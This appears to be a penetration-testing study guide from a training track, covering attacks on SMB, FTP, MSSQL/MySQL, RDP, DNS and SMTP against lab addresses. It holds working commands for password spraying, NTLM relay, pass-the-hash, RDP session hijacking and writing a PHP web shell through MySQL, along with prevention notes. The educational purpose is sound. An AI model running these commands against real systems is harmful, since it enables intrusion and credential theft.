Service Attacks Overview

Attacking common services is about understanding how organizations expose file sharing, databases, remote access, and email workflows. These services often sit on predictable ports and accept standard authentication methods, which makes them ideal targets during exploitation. The goal is to validate access, enumerate data, and identify misconfigurations that expose sensitive information. A clean workflow documents what you tested, how you authenticated, and what the impact is.

Most service attacks follow the same pattern: identify the service, test authentication and permissions, then pivot to protocol specific abuse. If you can list shares, execute queries, or establish remote sessions, you can usually expand into credential harvesting or lateral movement. Many attacks are not exotic, they are simply weak credentials or unsafe defaults. This is why strong enumeration and careful validation matter more than running random exploits.

Attack Model for Common Services

A simple model helps explain how service vulnerabilities happen. You start with a source of input, a process that handles it, a privilege context, and a destination where results are stored or forwarded. If any of these steps are weak, a service can leak data or execute actions it should not. This model keeps your analysis structured and easy to explain.

Sources include user input, configs, libraries, or API data that the service consumes. The process is the code path that parses requests and decides what to do. Privileges define what the service can access or modify, which often depends on the account it runs as. The destination can be local storage, another service, or a remote host, which is where your impact shows up.


SMB File Sharing Basics

SMB is the standard file sharing protocol in Windows networks and is also common in Samba deployments. You can access SMB shares with GUI tools, command line utilities, or Linux mounts. The first step is to identify available shares and check if anonymous access is enabled. If you can list a share without credentials, that is already a security issue.

From Windows, you can browse shares using the Run dialog or the net use command. Mapping a share to a drive letter allows you to search for sensitive data and filenames at scale. PowerShell offers similar functionality with New-PSDrive and Get-ChildItem. Always test both listing and content access to see if read or write permissions are allowed.

dir \\192.168.220.129\Finance\
net use n: \\192.168.220.129\Finance /user:plaintext Password123
Get-ChildItem \\192.168.220.129\Finance\
New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem"
Get-ChildItem -Recurse -Path N:\ -Include *cred* -File

From Linux, you can mount SMB shares with mount -t cifs or access them with tools like smbclient. If credentials are required, a credential file keeps commands cleaner and reduces mistakes. Once mounted, use find and grep to locate sensitive files quickly. This approach is often faster than browsing with a GUI.

sudo mkdir /mnt/Finance
sudo mount -t cifs -o username=plaintext,password=Password123,domain=. //192.168.220.129/Finance /mnt/Finance
find /mnt/Finance -name '*cred*'
grep -rn /mnt/Finance -ie cred

SMB Enumeration and Attacks

SMB enumeration is the core of many Windows assessments. Start by scanning ports 139 and 445, then list shares with smbclient or smbmap. If a null session is allowed, you can often list shares and sometimes read files without authentication. This is a high value finding because it exposes data directly.

RPC enumeration and enum4linux can extract domain users, groups, and policies. These tools combine multiple SMB and RPC calls to build a richer picture of the environment. When credentials are available, tools like CrackMapExec or NetExec can validate access and run commands. Be careful with command execution because it creates clear logs on the target.

sudo nmap -sC -sV -p139,445 10.129.14.128
smbclient -N -L //10.129.14.128
smbmap -H 10.129.14.128
smbmap -H 10.129.14.128 -r notes
smbmap -H 10.129.14.128 --download "notes\\note.txt"
rpcclient -U'%' 10.10.110.17
rpcclient $> enumdomusers
./enum4linux-ng.py 10.10.11.45 -A -C

SMB attacks often include brute force or spraying, but the bigger wins come from share access and relay attacks. NTLM relay abuses forced authentication and can dump SAM or execute commands. Impacket ntlmrelayx is the standard tool for this workflow. Only run relays where you have explicit permission and a clear target scope.

crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146

FTP Attacks

FTP is still common for legacy transfers and misconfigured systems. It runs on port 21 and often exposes anonymous login or weak credentials. Start with a version and script scan to identify server type and supported commands. Then test anonymous access and basic read or write permissions.

If authentication is required, use a password spray or brute force tool that supports FTP. Hydra and Medusa are common, but always consider lockout policies and rate limits. FTP also supports a bounce attack in some environments, where the FTP server is abused to scan another host. This is a niche technique but worth testing in lab scenarios.

sudo nmap -sC -sV -p 21 192.168.2.142
ftp 192.168.2.142
hydra -L users.list -P passwords.list ftp://10.129.203.6:2121
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2

SQL Database Services

SQL services are high value because they store structured data and often expose privileged functions. Start by identifying the DBMS with port scans and banner checks. Then try native clients like sqlcmd for MSSQL or mysql for MySQL. If authentication works, enumerate databases, users, and permissions before attempting deeper actions.

For MSSQL, sqsh and sqlcmd are common on Linux and Windows, and mssqlclient.py from Impacket is a flexible alternative. For MySQL, direct client login is usually enough. If you have write privileges, you may be able to write a web shell with SELECT INTO OUTFILE. Always check secure_file_priv on MySQL, which restricts file write paths.

nmap -Pn -sV -sC -p1433 10.10.10.125
sqsh -S 10.129.20.13 -U username -P Password123
sqlcmd -S 10.129.20.13 -U username -P Password123
mssqlclient.py -p 1433 julio@10.129.203.7
mysql -u username -pPassword123 -h 10.129.20.13
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
mysql> show variables like "secure_file_priv";

MSSQL also supports command execution through xp_cmdshell if enabled. You can attempt to enable it with proper permissions, then run OS commands. Another strong technique is to coerce the service to authenticate to your host, capturing hashes with Responder or an SMB server. This can provide new credentials without exploiting the DB directly.

sudo impacket-smbserver share ./ -smb2support

RDP Attacks

RDP provides GUI access and is often exposed on port 3389. Start with a service scan, then validate credentials with tools like Hydra or Crowbar. If you get a valid login, use xfreerdp to open a session and confirm access. Always monitor for account lockouts if you are testing multiple passwords.

Session hijacking is possible when you have local admin rights on the target. You can list active sessions and use tscon to attach to another session. This is noisy and should be used in lab or fully authorized tests. It is still important to document because it shows impact without needing to crack new credentials.

nmap -Pn -p3389 192.168.2.143
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
xfreerdp /v:192.168.220.152 /u:lewen /p:password123
query user
sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"

RDP also supports pass-the-hash when Restricted Admin Mode is enabled. This requires a registry change and then /pth in xfreerdp. It is useful for lateral movement in Windows networks when you only have NTLM hashes. Document the registry change because it affects host security posture.

reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
xfreerdp /v:192.168.220.152 /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9

DNS Attacks

DNS is a core service that can leak internal structure. Start with version and script scans, then test for zone transfers with dig AXFR. If a zone transfer is allowed, you can enumerate all subdomains quickly. This often reveals internal hostnames and services.

Use dig, host, or nslookup to validate records and map CNAME chains. Tools like subbrute can brute-force subdomains when zone transfers fail. Even a small list of subdomains can reveal admin portals or staging systems. Always capture the discovered records as evidence.

nmap -Pn -sV -sC -p53 10.10.110.213
dig AXFR @ns1.inlanefreight.htb inlanefreight.htb
host hr.inlanefreight.htb

SMTP Email Attacks

SMTP often exposes user enumeration and misconfigurations. Start by scanning common email ports such as 25, 465, 587, 110, 143, 993, and 995. Use SMTP commands like VRFY, EXPN, and RCPT TO to test whether users can be enumerated. This provides high value targets for later password attacks.

Tools like smtp-user-enum can automate enumeration with different methods. For open relay testing, use the Nmap smtp-open-relay script. If an open relay exists, it can be abused for phishing or spam, which is a serious finding. Always document server responses and the exact commands used.

sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.14.128
smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7
nmap -p25 -Pn --script smtp-open-relay 10.10.11.213

Misconfigurations and Prevention Notes

Most real world issues come from weak authentication and misconfigured access control. Services may run with default credentials, missing passwords, or overly broad permissions. Sharing services without strict ACLs is the most common cause of data exposure. A good assessment always documents which permissions were excessive and how they were abused.

Prevention is mostly about least privilege and strict validation. Disable anonymous access, enforce strong credentials, and restrict service exposure to internal networks. Monitor for unusual enumeration, brute force, and relay activity. For databases, limit file write capabilities and disable dangerous features like xp_cmdshell unless required.


Reference

This article is based on my personal study notes from the Information Security Foundations track.

Full repository: https://github.com/lameiro0x/pentesting-path-htb